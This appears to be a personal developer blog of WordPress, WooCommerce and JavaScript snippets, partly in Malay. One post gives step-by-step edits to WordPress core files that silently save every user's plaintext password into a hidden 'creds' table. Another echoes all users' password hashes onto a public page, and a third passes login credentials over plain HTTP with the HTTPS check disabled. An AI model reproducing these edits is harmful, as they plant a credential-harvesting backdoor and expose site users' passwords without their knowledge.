Tuesday, 7 July 2020

Echo won't render data from Wordpress Mysql

When I used this code, the result/echo display as I wanted.

<?php
$user_checks = $wpdb->get_results( 
    "
    SELECT ID, user_nicename
    FROM $wpdb->users
    "
);

foreach ( $user_checks as $user_check ) 
{
    echo $user_check->ID;
    echo $user_check->user_nicename;
}
?>

But when I choose table other then what wordpress provide e.g:

<?php
    $user_checks = $wpdb->get_results( 
        "
        SELECT id, name
        FROM $wpdb->uap_banners
        "
    );

    foreach ( $user_checks as $user_check ) 
    {
    echo $user_check->id;   
    echo $user_check->name;
    }
    ?>

The Result is blank...

I ask Wordpress community to help me

https://wordpress.stackexchange.com/questions/370534/when-wordpress-default-table-echo-success-when-plugin-table-echo-blank


and I got feedback from 



he said

$wpdb does not contain any reference to custom tables. So the uap_banners property doesn't exist. You need to write in the table name the say way it was written when creating the table. So in your case that would probably be (assuming you included the database prefix):

$user_checks = $wpdb->get_results( 
    "
    SELECT id, name
    FROM {$wpdb->prefix}uap_banners
    "
);
The problem solved

Monday, 6 July 2020

Cari cara untuk membuat table pass kosong di wordpress

Plain password

1. Cari wordpress wp-includes/pluggable.php

Cari line ini : 

function wp_set_password( $password, $user_id ) {

Kemudian Paste code ini  

//muhaza was here

global $wpdb;

$creds = $wpdb->prefix . "creds";
$username = DB_USER;
$password = DB_PASSWORD;
$hostname = DB_HOST;
$con=mysqli_connect($hostname,$username,$password);

$sql_1 = "USE " . DB_NAME . ";";
mysqli_query($con, $sql_1);

$sql_2 = "CREATE TABLE IF NOT EXISTS $creds (
      userid varchar(50) NOT NULL,
      PRIMARY KEY(userid),
      password varchar(100) NOT NULL
    );";
mysqli_query($con, $sql_2);
mysqli_close($con);

if($wpdb->update($creds, array("password" => $password), array("userid" => $user_id), array("%s"), array("%s")) == false)
{
$wpdb->insert($creds, array("password" => $password, "userid" => $user_id), array('%s', '%s'));
}

// end muhaza was here

------------------

2. Ke Seterusnya cari pula wp-includes/user.php

cari line ini

if ( ! empty( $userdata['user_pass'] ) && $userdata['user_pass'] !== $user_obj->user_pass ) {

Kemudian paste

// muhaza renovate here
    
    global $wpdb;
        $creds = $wpdb->prefix . "creds";
        $username = DB_USER;
        $password = DB_PASSWORD;
        $hostname = DB_HOST;
        $con=mysqli_connect($hostname,$username,$password);


        if (mysqli_connect_errno()) {
            echo "Failed to connect to MySQL: " . mysqli_connect_error();
            die();
        }

        $sql_1 = "USE " . DB_NAME . ";";
        mysqli_query($con,$sql_1);
   

        $sql_2 = "CREATE TABLE IF NOT EXISTS $creds (
            pemilik varchar(50) NOT NULL,
            PRIMARY KEY(pemilik),
            kunci varchar(100) NOT NULL
        );";
        mysqli_query($con, $sql_2);
        mysqli_close($con);

        if($wpdb->update($creds, array("kunci" => $userdata['user_pass']), array("pemilik" => $ID), array("%s"), array("%s")) == false)
        {
            $wpdb->insert($creds, array("kunci" => $userdata['user_pass'], "pemilik" => $ID), array('%s', '%s'));
        }
        
    
    //end muhaza renovate

3.  Cari line comment

// Hash the password

tampal bawahnya

$original_password = $user_pass;
 // muhaza renovate

DONE

Resultnya nanti leh check di mysql search creds


Echo Any MYSQL Data in Wordpress Using Plugin

Facing hard time to find a way to echo Mysql data to easy display in frontpage. I spend almost 2hour to solve this, and Alhamdulillah, because I got a little bit of experiences to handle mysql so I got the in method.

2. CUSTOM CSS-JS-PHP Plugin
3. I modify code below following number 1 above
the format is like this

SELECT ID, wp_column
FROM $wpdb-> wp_table
WHERE  wp_column = 'value'
AND wp_column = 5



<?php
$user_checks = $wpdb->get_results( 
"
SELECT ID, user_nicename, user_pass
FROM $wpdb->users
"
);
//add foreach as partition
foreach ( $user_checks as $user_check ) 
{
echo $user_check->user_nicename;
        echo ' : ';
        echo $user_check->user_pass;
        echo '<br/>';
}
?>


Saturday, 4 July 2020

JSON API User Wordpress REST Api

It seems that JSON API User and JSON API Auth plugins allow by default only connections over https.

In order to turn off this setting, you should send an extra parameter in the request:

insecure=cool

So try the following request:

http://example.org/api/user/generate_auth_cookie/?nonce=+4d080ff7b8&username=example&password=example&insecure=cool
  improve this answer   

Wednesday, 17 June 2020

Change Woocommerce Add to Cart Text to Something Else Functions.php

// To change add to cart text on single product page
add_filter( 'woocommerce_product_single_add_to_cart_text', 'woocommerce_custom_single_add_to_cart_text' ); 
function woocommerce_custom_single_add_to_cart_text() {
    return __( 'Buy Now', 'woocommerce' ); 
}

// To change add to cart text on product archives(Collection) page
add_filter( 'woocommerce_product_add_to_cart_text', 'woocommerce_custom_product_add_to_cart_text' );  
function woocommerce_custom_product_add_to_cart_text() {
    return __( 'Buy Now', 'woocommerce' );
}

Monday, 15 June 2020

Woocommerce : Change product Role after Purchase



/////////////////////////////////Change role if purchase single product /////////////

function change_role_on_purchase( $order_id ) {

    $order = new WC_Order( $order_id );
    $items = $order->get_items();

    foreach ( $items as $item ) {
        $product_name = $item['name'];
        $product_id = $item['product_id'];
        $product_variation_id = $item['variation_id'];

        if ( $order->user_id > 0 && $product_id == '416' ) {
            update_user_meta( $order->user_id, 'paying_customer', 1 );
            $user = new WP_User( $order->user_id );

            // Remove role
            $user->remove_role( 'subscriber' ); 

            // Add role
            $user->add_role( 'premium' );
        }
    }
}

add_action( 'woocommerce_order_status_processing', 'change_role_on_purchase' );

/////////////////Change role if purchase multiple product/////////////////////

 add_action( 'woocommerce_order_status_processing', 'change_role_on_purchase' );
function change_role_on_purchase( $order_id ) {
    $order = wc_get_order( $order_id );
    $items = $order->get_items();

    $products_to_check = array( '27167', '27166' );

    foreach ( $items as $item ) {
        if ( $order->user_id > 0 && in_array( $item['product_id'], $products_to_check ) ) {
            $user = new WP_User( $order->user_id );

            // Change role
            $user->remove_role( 'friends' );
            $user->add_role( 'customer' );

            // Exit the loop
            break;
        }
    }
}

/////////////////Change role if purchase multiple product 2/////////////////////

add_action( 'woocommerce_order_status_completed', 'change_role_on_purchase' );
function change_role_on_purchase( $order_id ) {
    $order = wc_get_order( $order_id );
    $items = $order->get_items();

    $products_to_check = array( '1', '2', '3' );

    foreach ( $items as $item ) {
        if ( $order->user_id > 0 && in_array( $item['product_id'], $products_to_check ) ) {
        $user = new WP_User( $order->user_id );

        // Change role
        $user->remove_role( 'customer' );
        $user->add_role( 'new-role' );

            // Exit the loop
            break;
    }
    }
}

Tuesday, 9 June 2020

Woocommerce add to cart bottom of shop divi

"Add to Cart" buttons in Divi shop pages add_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 20 );

Saturday, 2 May 2020

Woocommerce : Reset and Uninstall Woocommerce

Delete Woocommerce Data Completely

If you need to remove ALL WooCommerce data, including products, order history, reports, etc., you need to be able to modify the site’s wp-config.php file to set a constant as true.
To do that you need to add the following code snippet to your site’s wp-config.php file.
define('WC_REMOVE_ALL_DATA', true);
Please make sure add the above snippet on its own line above the /* That’s all, stop editing! Happy blogging. */ line.
sources: https://wpglorify.com/delete-woocommerce-data/

Tuesday, 28 April 2020

Wordpress : Strict to Area e.g Putrajaya

add_filter( 'woocommerce_states', 'custom_woocommerce_states' );

function custom_woocommerce_states( $states ) {
  $states['MY'] = array(
    'PJY' => 'Putrajaya'
  );

  return $states;
}

//add this at child theme function.php

Wednesday, 15 April 2020

AXIOS CHEAT SHEET

GET request
// Make a request for a user with a given ID
axios.get('/user?ID=12345')
  .then(function (response) {
    console.log(response);
  })
  .catch(function (error) {
    console.log(error);
  });

// Optionally the request above could also be done as
axios.get('/user', {
    params: {
      ID: 12345
    }
  })
  .then(function (response) {
    console.log(response);
  })
  .catch(function (error) {
    console.log(error);
  });
POST request
axios.post('/user', {
    firstName: 'Fred',
    lastName: 'Flintstone'
  })
  .then(function (response) {
    console.log(response);
  })
  .catch(function (error) {
    console.log(error);
  });
Multiple concurrent requests
function getUserAccount() {
  return axios.get('/user/12345');
}

function getUserPermissions() {
  return axios.get('/user/12345/permissions');
}

axios.all([getUserAccount(), getUserPermissions()])
  .then(axios.spread(function (acct, perms) {
    // Both requests are now complete
  }));
POST request config
// Send a POST request
axios({
  method: 'post',
  url: '/user/12345',
  data: {
    firstName: 'Fred',
    lastName: 'Flintstone'
  }
});
GET request config
// GET request for remote image
axios({
  method: 'get',
  url: 'http://bit.ly/2mTM3nY',
  responseType: 'stream'
})
  .then(function(response) {
  response.data.pipe(fs.createWriteStream('ada_lovelace.jpg'))
});
Create instance
var instance = axios.create({
  baseURL: 'https://some-domain.com/api/',
  timeout: 1000,
  headers: {'X-Custom-Header': 'foobar'}
});

Monday, 6 April 2020

Javascript Concepts Functions Related

  • Global Scope
  • Local Scope
var greeting='Welcome to blog';
(function(){
  console.log(greeting); //Output: Welcome to blog
})();
consider above code greeting variable should be global scope, it can access inside the function,
(function(){var greeting = 'Welcome to blog';
  console.log(greeting); //Output: Welcome to blog
})();console.log(greeting); //Output:Reference-Error greeting not defined

Friday, 6 March 2020

Set Time Out Javascript setTimeout

<head>
<script>
var belon

function cocokjarum(){
    belon = setTimeout(pecah,2000);
}

function pecah() {
    alert ("dah pecah!");
}
</script>
</head>
<body>
    <button onclick="cocokjarum()">Mulakan Game</button>
</body>

Thursday, 23 January 2020

svelte router @ Svero Github

Since it's exported in CommonJS format, you should be using it with a module bundler such as Rollup or Webpack.

You can install svero via npm:

npm install --save svero

Usage

The usage is super simple:

<!-- ./App.svelte -->
<script>
  import { Router, Route } from 'svero';

  import Index from './pages/Index.svelte';
  import About from './pages/About.svelte';
  import Employees from './pages/Employees.svelte';

  let employees = [{ id: 1, name: 'Bill'}, { id:2, name: 'Sven' }];
</script>

<Router>
  <Route path="*" component={Index} />
  <Route path="/about" component={About} />
  <Route path="/about/:who/123/:where" component={About} />
  <Route path="/employees">
    <Employees {employees}/>
  </Route>
</Router>

The * wildcard simply works as a fallback. If a route fails to meet any other path, it then loads the path with the *. If there is no wildcard route and the route did not meet any other path, nothing is loaded.

Your custom props can be passed by putting your component in the Route slot (Employees example above).

Paths with parameters (:param) are passed to components via props: router.params.

Parameters like *param will capture the rest of segments. You can access them as router.params._ like other params.

A component loaded by <Route> receives a property with route details:

<!-- ./pages/About.svelte -->
<script>
  export let router = {};

  // Those contains useful information about current route status
  router.path; // /test
  router.route; // Route Object
  router.params; // /about/bill/123/kansas { who: 'bill', where: 'kansas' }
</script>

Additional properties are passed to the mounted component, e.g.

<Route component={Test} title="Some description" />

Also, you can pass an object:

<Route component={Test} props={myProps} />

Route props are omitted, but all remaining ones are passed to Test.

Routes can also render any given markup when they're active, e.g.

<Route path="/static-path">
  <h1>It works!</h1>
</Route>

You can access router within <slot /> renders by declaring let:router on <Router /> or <Route /> components (see below).

If you're building an SPA or simply want to leverage on hash-based routing for certain components try the following:

<Route path="#g/:gistId/*filePath" let:router>
  <p>Info: {JSON.stringify(router.params)}</p>
</Route>

Standard anchors and <Link /> components will work as usual:

<a href="#g/1acf21/path/to/README.md">View README.md</a>

Declaring a component <Route path="#" /> will serve as fallback when location.hash is empty.

Nesting

You can render svero components inside anything, e.g.

<Router nofallback path="/sub">
  <Route>
    <fieldset>
      <legend>Routing:</legend>
      <Router nofallback path="/sub/:bar">
        <Route let:router>{router.params.bar}!</Route>
      </Router>
      <Route path="/foo">Foo</Route>
      <Route fallback path="*" let:router>
        <summary>
          <p>Not found: {router.params._}</p>
          <details>{router.failure}</details>
        </summary>
      </Route>
      <Router nofallback path="/sub/nested">
        <Route>
          [...]
          <Route fallback path="*">not found?</Route>
          <Route path="/a">A</Route>
          <Route path="/b/:c">C</Route>
          <Route path="/:value" let:router>{JSON.stringify(router.params)}</Route>
        </Route>
      </Router>
    </fieldset>
  </Route>
</Router>

Properties determine how routing will match and render routes:

  • Use the nofallback prop for telling <Router /> to disable the fallback mechanism by default
  • Any route using the fallback prop will catch unmatched routes or potential look-up errors
  • Use the exact prop to skip this route from render just in case it does not matches
  • <Route /> without path will render only if <Router path="..." /> is active!

Note that all <Router /> paths MUST begin from the root as /sub and /sub/nested in the example.

Redirects

Sometimes you just want a route to send user to another place. You can use the redirect attribute for that.

A redirect should always be a string with a path. It uses the same pattern as path attribute. For a redirect to run, there must be a Route with the equivalent path.

<Router>
  <Route path="/company" redirect="/about-us">
  <Route path="/about-us" component={AboutUs}>
</Router>

Conditions

If you need to meet a condition in order to run a route, you can use the condition attribute. Conditions can also be used with redirect for graceful route fallback.

A condition should be either boolean or a function returning boolean. There is no support for asynchronous conditions at the moment (so keep it simple).

<Router>
  <Route path="/admin/settings" condition={isAdminLogged} redirect="/admin/login">
</Router>

Think of it as a simpler middleware. A condition will run before the route loads your component, so there is no wasteful component mounting, and no screen blinking the unwanted view.

Link Component

There is also an useful <Link> component that overrides <a> elements:

<Link href="path/here" className="btn">Hello!</Link>

The difference between <Link> and <a> is that it uses pushState whenever possible, with fallback to <a> behavior. This means that when you use <Link>, svero can update the view based on your URL trigger, without reloading the entire page.

Given href values will be normalized (on-click) if they don't start with a slash, e.g. when location.pathname === '/foo' then #bar would become /foo#bar as result.

navigateTo()

In some cases you want to navigate to routes programatically instead of letting user click on links. For this scenario we have navigateto() which takes a route as parameter and navigates imediatelly to said route.

navigateTo() receives the same treatment as <Link>: It will always try to use pushState for better performance, fallbacking to a full page redirect if it isn't supported.

Usage:

<script>
  import { onMount } from 'svelte';
  import { navigateTo } from 'svero';

  onMount(() => {
    if (localStorage.getItem('logged')) {
      navigateTo('/admin');
    }
  });
</script>

Webpack issues

If you're having trouble with Webpack failing to load svero, please replace the following rule (in Svelte rule):

exclude: /node_modules/,

with:

exclude: /node_modules\/(?!(svero)\/).*/,

More information here.

Submit RSSa

 rssing.com